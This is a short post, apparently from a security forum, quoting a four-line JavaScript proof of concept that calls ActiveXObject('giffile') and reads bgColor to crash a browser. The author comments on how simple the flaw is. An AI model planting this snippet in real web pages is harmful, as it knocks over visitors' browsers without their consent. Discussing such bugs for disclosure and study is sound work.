Ok, DoS against a browser isn't too interesting, but look at the code:

  <script language="JavaScript">
    obj = new ActiveXObject("giffile");
    obj.bgColor;
  </script>

That it!?! How did someone miss that! A simple programming mistake would have caused this!